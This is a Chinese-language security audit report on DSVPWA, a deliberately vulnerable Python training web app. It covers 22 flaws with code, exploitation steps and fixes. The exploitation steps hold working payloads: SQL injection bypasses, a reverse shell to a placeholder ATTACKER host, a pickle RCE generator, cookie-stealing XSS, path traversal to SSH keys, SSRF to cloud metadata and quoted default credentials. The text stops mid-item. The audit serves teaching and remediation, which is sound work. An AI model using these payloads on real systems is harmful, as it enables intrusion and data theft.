DSVPWA-代码安全审计报告

35次阅读
没有评论

DSVPWA 代码安全审计报告

审计对象:DSVPWA (Damn Simple Vulnerable Python Web Application) v0.0.1
审计时间:2026-08-16
审计方式:纯静态代码审计(逐行人工分析,未动态执行验证)
代码版本:a06abb3(main 分支 HEAD,含 SQLi 错误处理改动)
源码目录:/11-code/DSVPWA
审计人:


一、项目概览

DSVPWA 是一个故意植入漏洞的 Python Web 教学靶场,灵感来自 DSVW。使用 Python 标准库实现(无第三方依赖),内置多线程 HTTP 服务器、内存 SQLite 数据库、会话管理与 HTML 模板渲染。

组件 文件 职责
入口 dsvpwa.py 参数解析(--host/--port/--risk/--ssl),启动服务器
服务器 dsvpwa/server.py ThreadingHTTPServer + 内存 SQLite(users/comments 表)+ 种子用户
请求处理 dsvpwa/handlers.py 路由分发、Cookie 处理、响应头、静态文件服务、隐藏后门 do_BDR
漏洞逻辑 dsvpwa/attacks.py 13 个漏洞攻击类(每个对应一个路由)
路由配置 db/attacks.xml 定义漏洞路由 → 模板 → 类的映射
用户数据 db/users.xml 明文存储的种子账号

默认配置:绑定 127.0.0.1:65413,--risk 默认 1(取值范围 1~3,越高解锁越危险的向量)。

⚠️ 重要前置说明:本项目是教育性靶场,绝大多数"漏洞"是作者有意为之的演示代码。本报告的价值在于:(1) 完整梳理全部漏洞点及其原理;(2) 给出可落地的修复方案,供"把靶场改造为安全基线代码"或教学参考时使用。审计按真实代码缺陷标准逐条判定,不因"靶场意图"而遗漏。


二、风险等级说明

等级 定义
🔴 严重 (Critical) 可导致远程命令执行 / 任意文件读写 / 权限完全接管
🟠 高危 (High) 可导致数据篡改删除 / 会话劫持 / 敏感信息泄露
🟡 中危 (Medium) 需要特定条件(如已登录、用户交互、非默认配置)才能利用
🔵 低危 (Low) 信息泄露、加固缺失、配置缺陷

三、漏洞总览表

# 漏洞名称 等级 位置 默认 risk 下可利用
1 SQL 注入(数值型) 🔴 严重 attacks.py:39 ✅
2 认证绕过(SQL 注入 + 硬编码后门) 🔴 严重 attacks.py:282-289 ✅
3 命令注入 🔴 严重 attacks.py:165-167 ❌ 需 risk≥3
4 不安全反序列化 → RCE 🔴 严重 attacks.py:199 ❌ 需 risk≥3
5 隐藏后门(自定义 HTTP 方法执行命令) 🔴 严重 handlers.py:177-188 ❌ 需 risk≥3
6 路径穿越 + SSRF(任意文件读) 🔴 严重 attacks.py:209-213 ✅
7 静态文件服务路径穿越 🟠 高危 handlers.py:111-125 ✅
8 存储型 XSS 🟠 高危 attacks.py:88-98 ✅
9 反射型 XSS 🟠 高危 attacks.py:71-77 ✅
10 DOM XSS 🟠 高危 static/js/custom.js ✅
11 CSRF(GET 改资料 + 无 Token) 🟠 高危 attacks.py:322-325 ✅(需登录)
12 点击劫持 🟠 高危 handlers.py:237-238 ✅(需登录)
13 会话固定 🟠 高危 attacks.py:229-231 ✅
14 会话劫持 🟠 高危 attacks.py:250-261 ✅
15 会话状态跨请求污染(类属性共享) 🟠 高危 handlers.py:141,199 ✅
16 开放重定向 🟡 中危 attacks.py:118-126 ✅
17 重定向后执行(EAR) 🟡 中危 attacks.py:134-142 ✅
18 非安全传输(HTTP 明文 + 无 HSTS) 🟡 中危 dsvpwa.py:14,25 ✅
19 弱 Cookie 安全属性 🟡 中危 handlers.py:232-234 ✅
20 失效的 CSP + 禁用浏览器 XSS 过滤 🟡 中危 handlers.py:237-238 ✅
21 密码明文存储 + 默认凭证泄露 🟡 中危 db/users.xml、server.py:8-17 ✅
22 异常信息泄露(辅助注入探测) 🔵 低危 attacks.py:40-41、handlers.py:216-218 ✅

说明:risk 参数为 1~3。--risk 未指定时默认 1,此时命令注入、pickle RCE、do_BDR 后门不可用(代码返回提示"提高 risk")。其余漏洞默认全开。


四、漏洞详情

🔴 1. SQL 注入(数值型,可拖库)

  • 位置:dsvpwa/attacks.py:39
  • 路由:/users
  • 风险等级:严重

漏洞代码:

id = '9999999' if 'id' not in params else params['id'][0]
cursor.execute("SELECT id, username, firstname, lastname, email, session FROM users WHERE id=" + id)

漏洞原因:id 参数来自 URL 查询串,未做任何校验/转义,直接与 SQL 字符串拼接。查询结果中还包含 session 列——每个登录用户的 SESSIONID 都存在数据库里,等于注入一次即可拖走全部会话凭据。

利用方式:

# 拖出全部用户(含 session 列)
GET /users?id=1 OR 1=1

# UNION 注入获取版本
GET /users?id=999 UNION SELECT 1,sqlite_version(),3,4,5,6

# 布尔盲注探测(对比返回行数)
GET /users?id=1 AND 1=1
GET /users?id=1 AND 1=2

修复建议:一律使用参数化查询,禁止字符串拼接 SQL。

cursor.execute(
    "SELECT id, username, firstname, lastname, email, session FROM users WHERE id=?",
    (id,)
)

参考:https://owasp.org/www-community/attacks/SQL_Injection


🔴 2. 认证绕过(SQL 注入 + 硬编码后门)

  • 位置:dsvpwa/attacks.py:282-289
  • 路由:/login
  • 风险等级:严重

漏洞代码:

username = re.sub(r"[^\w]", '', params.get('username')[0])   # 只过滤了 username
password = params.get('password')[0]                          # password 原样拼接

if username == 'dsvpwa' and password == 'dsvpwa':             # 硬编码后门
    user = ['dsvpwa', 'Default', 'Default', 'dsvpwa']
else:
    cursor.execute("SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'")

漏洞原因:

  1. 注入点:username 被 [^\w] 弱过滤(仅去除非字母数字下划线),但 password 完全未过滤且被拼进 SQL。
  2. 硬编码后门:dsvpwa/dsvpwa 无条件放行。
  3. 密码明文:SQL 中直接比对明文密码(见漏洞 #21)。

利用方式:

# 万能密码(password 注入,登录为 admin)
GET /login?username=admin&password=' OR '1'='1

# 硬编码后门
GET /login?username=dsvpwa&password=dsvpwa

# 注释截断
GET /login?username=admin&password=' OR '1'='1' --

登录成功后(attacks.py:297)会把当前 SESSIONID 写进该用户记录,攻击者随后即可用同一 SESSIONID 冒用 /profile。

修复建议:

  1. 参数化查询。
  2. 删除硬编码后门账号。
  3. 密码用哈希(bcrypt/argon2)+ 盐比对,绝不存明文。
username = params.get('username', [''])[0]
password = params.get('password', [''])[0]
cursor.execute("SELECT * FROM users WHERE username=? LIMIT 1", (username,))
row = cursor.fetchone()
if row and bcrypt.checkpw(password.encode(), row[5].encode()):
    # 登录成功,重新生成 session

参考:https://owasp.org/www-community/attacks/SQL_Injection


🔴 3. 命令注入(RCE)

  • 位置:dsvpwa/attacks.py:165-167
  • 路由:/diag
  • 风险等级:严重(需 --risk 3)

漏洞代码:

domain = params.get('domain', '/')[0]
output = subprocess.check_output(
    ' '.join([command, domain]),
    shell=True,
    stderr=subprocess.STDOUT,
    stdin=subprocess.PIPE
)

漏洞原因:shell=True + 把用户可控的 domain 用空格 join 进 shell 命令字符串。domain 内任何 shell 元字符(;、&&、|、反引号、$())都会被执行。

利用方式:

# 执行 id
GET /diag?domain=www.google.com;id

# 反弹 shell(攻击者监听 4444)
GET /diag?domain=www.google.com;bash -i >& /dev/tcp/ATTACKER/4444 0>&1

# 写文件
GET /diag?domain=www.google.com;echo hacked > /tmp/pwn.txt

修复建议:

  1. 禁用 shell=True,改用参数列表传递(安全拼接,不走 shell):
output = subprocess.check_output([command, domain], stderr=subprocess.STDOUT)
  1. 对 domain 做白名单校验(合法域名正则:^[a-z0-9.-]+\.[a-z]{2,}$),拒绝所有其他字符。
  2. 若不需要,干脆移除该功能。

参考:https://owasp.org/www-community/attacks/Command_Injection


🔴 4. 不安全反序列化 → 远程代码执行

  • 位置:dsvpwa/attacks.py:199(payload 构造 176-188)
  • 路由:/extract
  • 风险等级:严重(需 --risk 3)

漏洞代码:

class RCE:
    def __reduce__(self):
        cmd = ('whoami >> poc.txt')
        return os.system, (cmd,)

# ...
object = params.get('object', '')[0]
content = str(pickle.loads(base64.urlsafe_b64decode(object)))   # ← 直接反序列化

漏洞原因:对用户可控的 base64 输入直接 pickle.loads()。Python pickle 在反序列化时若遇到 __reduce__ 定义的类,会自动调用指定函数(os.system)执行任意命令。反序列化不可信数据 = 任意代码执行,这是 Python 生态最经典的 RCE 点之一。

利用方式:

import base64, pickle, os

class RCE:
    def __reduce__(self):
        return os.system, ("whoami >> poc.txt",)

payload = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode()
print(payload)   # 放到 object 参数
GET /extract?object=<上面生成的base64>
# 服务端执行 whoami >> poc.txt,攻击者随后可 GET /poc.txt 读取结果

更常用的姿势是把命令换成反弹 shell 或写 webshell(静态目录可写)。

修复建议:

  1. 永不反序列化不可信数据。改用 JSON / 其他格式:
import json
content = json.loads(base64.urlsafe_b64decode(object).decode())
  1. 若必须用 pickle,至少用受信密钥做 HMAC 签名校验,且将数据源限定为服务端生成。
  2. 运行最小权限账户、文件系统只读挂载,压缩 RCE 落地后的影响面。

参考:https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data


🔴 5. 隐藏后门(自定义 HTTP 方法执行命令)

  • 位置:dsvpwa/handlers.py:177-188
  • 风险等级:严重(需 --risk 3)

漏洞代码:

def do_BDR(self):
    if self.risk < 3:
        self.send_response(HTTPStatus.BAD_REQUEST)
        content = dsvpwa.attacks.Attack.warning.format(self.risk).encode()
    else:
        self.send_response(HTTPStatus.OK)
        content = subprocess.check_output(
            self.path[1:],            # URL 路径去掉首字符后直接当 shell 命令
            shell=True,
            stderr=subprocess.STDOUT,
            stdin=subprocess.PIPE
        )

漏洞原因:do_BDR 是一个自定义 HTTP 方法处理器——BaseHTTPRequestHandler 会把任意方法分发给同名 do_XXX。这里把整个 URL 路径当 shell 命令执行,等于一个不需要认证的远程命令执行后门。

利用方式:

BDR /id HTTP/1.1
Host: 127.0.0.1:65413

# 响应直接返回 id 命令的输出
BDR /cat%20/etc/passwd HTTP/1.1
curl -X BDR 'http://127.0.0.1:65413/id'

修复建议:直接删除 do_BDR。这不是功能,是后门。同时建议:

  1. 显式定义允许的 HTTP 方法白名单(do_GET/do_POST/do_HEAD),并让 BaseHTTPRequestHandler 对未实现的方法返回 501(默认行为)。
  2. 服务端任何位置都不该出现 shell=True 执行用户可控内容(与本报告 #3 同理)。

🔴 6. 路径穿越 + SSRF(任意文件读取)

  • 位置:dsvpwa/attacks.py:209-213
  • 路由:/docs
  • 风险等级:严重

漏洞代码:

path = params.get('path', ['docs/cursus.txt'])[0]
if '://' not in path:
    file = open(os.path.abspath(path), 'rb')        # 任意本地文件
else:
    file = urllib.request.urlopen(path)             # 任意 URL(SSRF)

漏洞原因:path 参数未做任何白名单/目录校验。

  1. os.path.abspath() 只做路径规范化,不做沙箱限制——../ 穿越后能读任意系统文件。
  2. '://' 分支走 urllib.request.urlopen,可请求任意 URL 实现 SSRF;且 urllib 支持 file:// scheme,因此该分支等价于任意文件读取,还能探测内网端口/读取云元数据(如 http://169.254.169.254/)。

利用方式:

# 路径穿越读 /etc/passwd
GET /docs?path=../../../../etc/passwd

# 读隐藏的 secret 文件(仓库自带 docs/secret.txt,内容 "This is super secret...")
GET /docs?path=docs/secret.txt

# file:// 任意文件读
GET /docs?path=file:///etc/hostname

# SSRF 探测内网/云元数据
GET /docs?path=http://169.254.169.254/latest/meta-data/
GET /docs?path=http://127.0.0.1:22/

修复建议:

BASE_DIR = os.path.realpath('./docs')

path = params.get('path', ['docs/cursus.txt'])[0]
real = os.path.realpath(os.path.join(BASE_DIR, path))
if not real.startswith(BASE_DIR + os.sep):
    raise ValueError("Invalid path")                # 拒绝穿越
file = open(real, 'rb')
  1. 目录白名单:用 realpath 并强制校验前缀必须在 ./docs 内。
  2. SSRF 防护:完全禁止 urlopen 外部 URL 能力;如确需,必须过滤内网 IP/保留段、禁用 file:// 等非 http(s) scheme。
  3. 用裸 except: 兜底会吞掉所有异常(含安全相关错误),改为捕获具体异常并记录日志。

参考:https://owasp.org/www-community/attacks/Path_Traversal


🟠 7. 静态文件服务路径穿越

  • 位置:dsvpwa/handlers.py:111-125(StaticHandler.find)
  • 风险等级:高危

漏洞代码:

def find(self, path):
    path = 'static/svg/bug-fill.svg' if path == '/favicon.ico' else path
    ext = os.path.splitext(path)[1]
    try:
        if ext in ('.jpg', '.jpeg', '.png', '.woff', '.woff2', '.ttf', '.ico'):
            self.content = open('./{}'.format(path), 'rb')
        else:
            self.content = open('./{}'.format(path), 'r')     # path 来自 URL,未校验

漏洞原因:do_GET 中,凡是不匹配模板路由的请求都会落到 StaticHandler,URL 路径被直接拼进 open('./{}'.format(path))。BaseHTTPRequestHandler 不做路径规范化,攻击者可在 URL 中注入 ../ 读取工作目录之外的文件(用 curl --path-as-is 或原始 socket 发送未规范化路径即可)。

利用方式:

# 从仓库根目录上跳两级读取任意文件(需关闭 curl 的路径规范化)
curl --path-as-is 'http://127.0.0.1:65413/../../../etc/passwd'

# 读取仓库外、但当前用户可读的文件
curl --path-as-is 'http://127.0.0.1:65413/../../Users/h/.ssh/id_rsa'

注:本项为静态分析结论。os.path.splitext 后 ext 非空(如 .txt)也会进入 StaticHandler;实际穿越成功与否取决于目录层级与目标文件存在性。此点与 /docs(#6)是两条独立的穿越路径,需分别修复。

修复建议:

  1. 静态文件只从固定根目录 static/ 下解析,并用 realpath 校验前缀:
STATIC_ROOT = os.path.realpath('./static')
real = os.path.realpath(os.path.join(STATIC_ROOT, path.lstrip('/')))
if not real.startswith(STATIC_ROOT + os.sep):
    return False
  1. 用 SimpleHTTPRequestHandler 的 translate_path 逻辑(自带前缀校验)替代手写打开。

🟠 8. 存储型 XSS

  • 位置:dsvpwa/attacks.py:88-98
  • 路由:/guestbook
  • 风险等级:高危

漏洞代码:

if 'comment' in params:
    comment = params.get('comment', '')[0]
    cursor.execute('INSERT INTO comments VALUES(NULL, ?, ?)', [comment, time.ctime()])
    ...
else:
    cursor.execute("SELECT id, comment, time FROM comments")
    rows = ""
    for row in cursor.fetchall():
        for column in row:
            columns += "".join("<td>{}</td>".format("-" if column is None else column))   # 输出未转义

漏洞原因:留言入库用的是参数化查询(存储安全),但读取展示时把所有列值直接拼进 HTML 表格,没有 HTML 实体编码。攻击者写入的 <script> 会在每个访问留言板的用户浏览器里执行。

利用方式:

# 写入恶意留言
GET /guestbook?comment=<script>new Image().src='http://ATTACKER/steal?c='+document.cookie</script>

# 任何访问 /guestbook 的用户都会被窃取 Cookie(会话劫持的桥梁)

修复建议:输出侧统一 HTML 编码。最简单是用 html.escape() 或模板引擎的自动转义。

for column in row:
    columns += "<td>{}</td>".format(html.escape(str(column) if column is not None else '-'))

配合漏洞 #20 收紧 CSP(默认 script-src 不允许 inline)可做纵深防御。

参考:https://owasp.org/www-community/attacks/xss


🟠 9. 反射型 XSS

  • 位置:dsvpwa/attacks.py:71-77
  • 路由:/post
  • 风险等级:高危

漏洞代码:

content = params.get('msg', '')
if len(content):
    content = content[0]
else:
    content = 'No messages...'
return content

漏洞原因:msg 参数原样返回并渲染进页面,无任何输出编码。配合 handlers.py:238 的宽松 CSP(default-src * 'unsafe-inline',允许内联脚本)与 :237 的 X-XSS-Protection: 0(关闭浏览器内置 XSS 过滤),反射型 XSS 可稳定执行。

利用方式:

GET /post?msg=<script>alert(document.domain)</script>

# 窃取 Cookie(攻击者构造链接诱导点击)
GET /post?msg=<script>location='http://ATTACKER/'+document.cookie</script>

修复建议:

  1. 输出编码:html.escape(content)(注意此处在模板 format 前转义)。
  2. 收紧 CSP:移除 'unsafe-inline',script-src 'self'。
  3. 移除 X-XSS-Protection: 0(或改为 1; mode=block),不要再主动关浏览器过滤。

参考:https://owasp.org/www-community/attacks/xss


🟠 10. DOM XSS(前端脚本)

  • 位置:static/js/custom.js
  • 加载范围:所有页面模板都 <script src="/static/js/custom.js">(index.html、main.html、login.html 等)
  • 风险等级:高危

漏洞代码:

var index = document.location.hash.indexOf('lang=');
if (index != -1)
{
    document.write('<div ...>Chosen language: <b>' + decodeURIComponent(document.location.hash.substring(index + 5)) + '</b></div>');
}

漏洞原因:document.write 直接拼接 URL # 片段(fragment)中 lang= 之后的内容。fragment 完全由攻击者控制(诱导链接即可),且不经过服务器——这是典型的 DOM 型 XSS,服务端 WAF/CSP(对请求层面)无法拦截。document.write 写入的内容会被解析为 HTML。

利用方式:

<!-- 诱导受害者点击,任何页面均生效 -->
http://127.0.0.1:65413/#lang=<img src=x onerror=alert(document.cookie)>

<!-- URL 编码后 -->
http://127.0.0.1:65413/#lang=%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E

修复建议:

  1. 删除 document.write,改用安全 DOM API + 纯文本赋值:
var lang = decodeURIComponent(location.hash.substring(index + 5));
var el = document.createElement('b');
el.textContent = lang;                 // textContent 不解析 HTML
document.body.appendChild(el);
  1. 若需显示用户可控语言值,应从服务端白名单列表中选择,而不是回显 fragment。
  2. 收紧 CSP 可缓解 inline handler,但 DOM XSS 的根本修复是不用危险 sink(document.write/innerHTML/eval)。

参考:https://owasp.org/www-community/attacks/DOM_Based_XSS


🟠 11. CSRF 跨站请求伪造

  • 位置:dsvpwa/attacks.py:322-325
  • 路由:/settings、/danger(均无 Token)
  • 风险等级:高危(需已登录)

漏洞代码:

if 'email' in params.keys():
    email = params.get('email')[0]
    cursor.execute("UPDATE users SET email = ? WHERE id = ?", (email, user[0]))
    connection.commit()

漏洞原因:

  1. 敏感操作走 GET:改邮箱(/settings)甚至删账号(/danger?delete=1)都是 GET 请求。
  2. 无 CSRF Token:表单没有随机令牌,服务端也不校验 Origin/Referer。
  3. Cookie 无 SameSite(见 #19),浏览器会随跨站请求自动带上 SESSIONID。

三者叠加 → 攻击者构造一个页面,受害者(已登录)只要加载该页面,账号资料被改、甚至账号被删。

利用方式:

<!-- 攻击者页面(受害者已登录 DSVPWA) -->
<img src="http://127.0.0.1:65413/settings?email=hacker@evil.com">
<img src="http://127.0.0.1:65413/danger?delete=1">

修复建议:

  1. 状态改变操作一律用 POST,并用双重提交 Token(session 内随机值 + 表单隐藏域比对)。
  2. Cookie 设 SameSite=Strict(或至少 Lax)。
  3. 服务端校验 Origin/Referer 是否本站。
  4. 删除账号等高风险操作增加二次确认(额外口令/验证码)。

参考:https://owasp.org/www-community/attacks/csrf


🟠 12. 点击劫持

  • 位置:dsvpwa/handlers.py:237-238(响应头)→ /danger 页面(attacks.py:366-373 删除账号)
  • 风险等级:高危(需已登录)

漏洞原因:服务端不发送任何 X-Frame-Options / CSP frame-ancestors 头,页面可被任意第三方网站 <iframe> 嵌套。/danger 的"删除账号"按钮是隐藏表单 + 诱饵文案,恰好构成点击劫持的经典利用场景。

利用方式:

<!-- 攻击者页面:透明 iframe 覆盖在诱饵按钮上方 -->
<iframe src="http://127.0.0.1:65413/danger" style="opacity:0; position:absolute; top:0; left:0; width:600px; height:400px;"></iframe>
<button style="position:absolute; top:200px; left:200px; z-index:0;">点我领奖品</button>
<!-- 受害者"点领奖"实际点到 iframe 里的删除按钮 → 账号被删 -->

修复建议:

# 响应头(每个响应都加)
self.send_header('X-Frame-Options', 'DENY')                      # 或 SAMEORIGIN
self.send_header('Content-Security-Policy', "frame-ancestors 'none'")
  1. X-Frame-Options: DENY/SAMEORIGIN。
  2. 现代 CSP frame-ancestors 'none'(优先级更高)。
  3. 高风险操作(删号、改密)用 JS frame-busting + 服务端二次确认兜底。

参考:https://owasp.org/www-community/attacks/Clickjacking


🟠 13. 会话固定(Session Fixation)

  • 位置:dsvpwa/attacks.py:229-231
  • 路由:/home
  • 风险等级:高危

漏洞代码:

if params.keys() & {'session'}:
    session = params.get('session')[0]
    cookie['SESSIONID'] = session          # 客户端可控 session 直接写入 cookie

漏洞原因:URL 参数 session 可任意指定,服务端直接把它设成 SESSIONID Cookie。攻击者先选定一个 SESSIONID,诱导受害者通过该链接登录(登录成功时 AuthBypass 会把这个 SESSIONID 绑定到受害者账号上,见 attacks.py:297),攻击者再用同一 SESSIONID 登录 → 冒充受害者。

利用方式:

# 攻击者选择 SESSIONID=ATTACKER0,构造链接发给受害者
GET /home?session=ATTACKER0&path=/profile

# 受害者打开后带着 SESSIONID=ATTACKER0 去登录(正常操作)
# 登录后 SESSIONID=ATTACKER0 被写入受害者用户记录
# 攻击者直接用该 SESSIONID 访问 /profile → 完全冒用

修复建议:

  1. 登录成功后强制轮换 SESSIONID(重新生成,废除登录前的值)。
  2. 服务端 Session 存储独立于客户端;客户端只持有不透明会话引用。
  3. 拒绝接受 URL 传递的 session 值(Session ID 只从 Cookie 读取)。

参考:https://owasp.org/www-community/attacks/Session_fixation


🟠 14. 会话劫持(Session Hijacking)

  • 位置:dsvpwa/attacks.py:250-261
  • 路由:/profile
  • 风险等级:高危

漏洞代码:

if 'SESSIONID' in handler.cookie:
    session = handler.cookie['SESSIONID'].value
    cursor.execute("SELECT * FROM users WHERE session = ?", [session])
    user = cursor.fetchone()
    if user:
        content = '<h2>Welcome <strong>{}</strong>!</h2>...'.format(user[1], user[2], user[3], user[4])

漏洞原因:鉴权仅凭 Cookie 里的 SESSIONID 与数据库比对,而 SESSIONID 存在多重泄露/猜测路径:

  1. Cookie 无 HttpOnly/Secure/SameSite(#19)→ 可被 XSS 窃取、明文 HTTP 嗅探、跨站携带。
  2. /users SQL 注入直接拖出 session 列(#1)。
  3. SESSIONID 生成熵低:20 位 [a-zA-Z0-9] 可暴力枚举。
  4. 会话无过期时间、无绑定(不绑 IP/UA/登录时间)。

利用方式:

# 1) 从 SQL 注入结果拿到受害者的 session 值后直接冒充
curl -H 'Cookie: SESSIONID=<受害者session>' http://127.0.0.1:65413/profile

# 2) XSS 窃取 Cookie 后重放
# 3) 明文 HTTP 下抓包(Wireshark / mitmproxy)获取

修复建议:

  1. 用服务端生成的高熵随机 Session(secrets.token_urlsafe(32)),不可预测、不可由客户端指定。
  2. Cookie 加 HttpOnly; Secure; SameSite=Strict。
  3. 会话设置过期时间,登录/权限变化时轮换。
  4. 对敏感操作绑定客户端特征(可选:IP/UA),异常即失效。

参考:https://owasp.org/www-community/attacks/Session_hijacking_attack


🟠 15. 会话状态跨请求污染(类属性共享)

  • 位置:dsvpwa/handlers.py:141(类属性)、:199(self.cookie.load)、:232-234(Set-Cookie)
  • 风险等级:高危

漏洞代码:

class VulnHTTPRequestHandler(BaseHTTPRequestHandler):
    cookie = http.cookies.SimpleCookie()      # ← 类属性,所有实例共享同一个可变对象
    ...
    def do_GET(self):
        self.cookie.load(self.headers.get('Cookie', ''))    # 每次请求往共享 jar 里灌
        ...
        for morsel in self.cookie.values():
            morsel['path'] = '/'
            self.send_header('Set-Cookie', morsel.OutputString())

漏洞原因:cookie 定义在类级别,是所有请求实例共享的单一可变 SimpleCookie 对象。SimpleCookie.load() 只增不删,于是:

  1. A 用户登录后,其 SESSIONID 可能被 Set-Cookie 发给 B 用户(共享 jar 里残留的值)。
  2. 多线程(ThreadingHTTPServer)下并发请求互相覆盖 SESSIONID,会话张冠李戴——比单点会话劫持更隐蔽,属于结构性会话管理缺陷。
  3. 客户端指定 SESSIONID 即可污染全局(配合 #13)。

利用方式:无需特制 payload,正常多用户并发使用即触发串号;攻击者可控参数直接写入共享 jar 时,可影响其他用户会话。

修复建议:Cookie 必须是每个请求独立的实例状态:

def do_GET(self):
    self._cookie = http.cookies.SimpleCookie()
    self._cookie.load(self.headers.get('Cookie', ''))
    ...
    for morsel in self._cookie.values():
        morsel['path'] = '/'
        self.send_header('Set-Cookie', morsel.OutputString())

把会话状态从类属性移到实例属性,并对所有可变状态(数据库连接、session)明确线程边界。


🟡 16. 开放重定向

  • 位置:dsvpwa/attacks.py:118-126
  • 路由:/jump
  • 风险等级:中危

漏洞代码:

path = params.get('path', '/')[0]
content = '''
    <script>
        setTimeout(function() {{
            window.location.replace('{path}');
        }}, 3000);
    </script>
'''.format(path=path)

漏洞原因:path 参数未校验是否为站内地址,直接进入 window.location.replace() 跳转。开放重定向可用于钓鱼(受害者以为在可信域跳转中被引导到钓鱼站)、OAuth/回调链绕过等。

利用方式:

# 3 秒后跳转到钓鱼站
GET /jump?path=http://evil-phishing.example/login

# 若配合 URL 编码协议绕过
GET /jump?path=//evil-phishing.example

修复建议:

from urllib.parse import urlparse

path = params.get('path', '/')[0]
u = urlparse(path)
if u.scheme not in ('', 'http', 'https') or (u.scheme and u.netloc != request_host):
    path = '/'   # 非站内 → 回首页
  1. 跳转目标必须是站内相对路径,或与当前 Host 一致。
  2. 维护跳转白名单。

参考:https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html


🟡 17. 重定向后执行(EAR, Execution After Redirect)

  • 位置:dsvpwa/attacks.py:134-142
  • 路由:/admin
  • 风险等级:中危

漏洞代码:

cookie = handler.cookie
content = '''
    <ul>
        <li><a href=#>Manage Users</a></li>
        <li><a href=#>Update Database Settings</a></li>
    </ul>
'''

if not cookie:
    content += "<script>window.location = '/login';</script>"

漏洞原因:敏感管理页内容先被渲染(状态码 200),然后才用 JS 重定向到登录页。服务端没有真正的授权检查——只发了个"请登录"的脚本。任何不执行 JS 的客户端(curl、爬虫、脚本、SSRF 代理)都能直接拿到 admin 功能页;且状态码不是 30x,缓存/CDN/代理会把 admin 内容当普通响应。

利用方式:

# 未登录直接拿 admin 页内容(无 JS 客户端)
curl http://127.0.0.1:65413/admin
# → 返回 Manage Users / Update Database Settings 等管理入口

修复建议:

  1. 先鉴权,再渲染:未授权时应服务端直接 send_response(302) + Location: /login,绝不渲染任何业务内容。
  2. 把重定向做成真正 HTTP 重定向(30x),而非前端脚本。
  3. admin 功能每个动作独立鉴权(避免拿到页面但接口无权限的"假安全")。

参考:https://owasp.org/www-community/attacks/Execution_After_Redirect_(EAR)


🟡 18. 非安全传输(HTTP 明文 + 无 HSTS)

  • 位置:dsvpwa.py:14,25、handlers.py(无 HSTS 头)
  • 风险等级:中危

漏洞原因:

  1. 默认 --ssl 关闭,走明文 HTTP;登录口令、Session Cookie、留言内容全在网络上明文传输,可被同网段嗅探。
  2. 即使 --ssl 开启,也未发送 Strict-Transport-Security(HSTS)头,无法阻止 HTTPS 降级到 HTTP。
  3. ssl/ 下是自签证书,浏览器会告警(可被中间人)。

利用方式:

# 局域网/共享 WiFi 下抓包即可获得明文口令与 SESSIONID
tcpdump -i en0 port 65413 -A | grep -iE 'password|SESSIONID'

修复建议:

  1. 默认强制 HTTPS,移除 HTTP 分支。
  2. 启用 HSTS:Strict-Transport-Security: max-age=63072000; includeSubDomains。
  3. 使用受信 CA 证书(Let’s Encrypt)替代自签证书。

参考:https://owasp.org/www-project-secure-headers/


🟡 19. 弱 Cookie 安全属性

  • 位置:dsvpwa/handlers.py:232-234
  • 风险等级:中危

漏洞代码:

for morsel in self.cookie.values():
    morsel['path'] = '/'
    self.send_header('Set-Cookie', morsel.OutputString())

漏洞原因:会话 Cookie 只设置了 Path=/,缺失 HttpOnly、Secure、SameSite:

  • 无 HttpOnly → JS 可读(document.cookie),XSS 直接窃取会话(放大 #8/#9/#10)。
  • 无 Secure → 明文 HTTP 也发送(放大 #18)。
  • 无 SameSite → 跨站请求自动携带(放大 #11 CSRF)。

修复建议:

morsel['path'] = '/'
morsel['httponly'] = True
morsel['samesite'] = 'Strict'   # 或 Lax
# 开启 SSL 时:morsel['secure'] = True

同时建议 SESSIONID 用高熵随机值(#14)。


🟡 20. 失效的 CSP + 禁用浏览器 XSS 过滤

  • 位置:dsvpwa/handlers.py:237-238
  • 风险等级:中危

漏洞代码:

self.send_header('X-XSS-Protection', '0')
self.send_header('Content-Security-Policy', "default-src * 'unsafe-inline'")

漏洞原因:

  1. Content-Security-Policy: default-src * 'unsafe-inline' —— 'unsafe-inline' 允许所有内联脚本/事件处理器,* 允许加载任意源,CSP 形同虚设(XSS #8/#9/#10 全部可穿透)。
  2. X-XSS-Protection: 0 主动关闭浏览器内置 XSS 过滤器,雪上加霜。

修复建议:

self.send_header('Content-Security-Policy',
    "default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; "
    "img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'")
# 移除 X-XSS-Protection: 0 行(该头已废弃,默认行为即可)

若保留内联资源需求,应改用 nonce 或 hash 白名单,而不是全量 'unsafe-inline'。

参考:https://owasp.org/www-community/attacks/Content_Security_Policy


🟡 21. 密码明文存储 + 默认凭证泄露

  • 位置:db/users.xml、dsvpwa/server.py:8-17、dsvpwa/attacks.py:285
  • 风险等级:中危

漏洞代码:

<!-- db/users.xml -->
<user id="0">
    <username>admin</username>
    <password>Y3RFgwZP$v6v#D</password>
    ...
</user>
<user id="2"><username>guest</username><password>guest</password></user>
<user id="3"><username>loella</username><password>babygirl</password></user>
<user id="4"><username>weitzel</username><password>123456</password></user>

漏洞原因:

  1. 密码明文写入 XML 和 SQLite users.password 列,任何能读文件/注入 SQL 的人直接获得全部凭证。
  2. 默认凭证随源码分发,且登录接口无速率限制(可无限爆破,配合弱口令秒破)。
  3. AuthBypass 中还有硬编码后门账号 dsvpwa/dsvpwa(#2)。

利用方式:

# 凭证已在源码里,直接登录
curl 'http://127.0.0.1:65413/login?username=admin&password=Y3RFgwZP$v6v#D'
# 或用弱口令 guest/guest、loella/babygirl、weitzel/123456

修复建议:

  1. 密码用 bcrypt/argon2id 哈希 + 盐存储,比对用 checkpw。
  2. 登录加速率限制 / 锁定策略 / 验证码。
  3. 移除默认凭证与硬编码后门;生产环境用环境变量注入随机初始口令。
  4. 禁止把含凭证的种子数据打进镜像/仓库。

🔵 22. 异常信息泄露(辅助注入探测)

  • 位置:dsvpwa/attacks.py:40-41、dsvpwa/handlers.py:216-218
  • 风险等级:低危

漏洞代码:

# attacks.py:40-41 —— SQL 错误对象直接回显
except sqlite3.OperationalError as e:
    return e
# handlers.py:216-218 —— 任意异常 str() 后回显 500
except Exception as ex:
    content = str(ex)
    code = HTTPStatus.INTERNAL_SERVER_ERROR

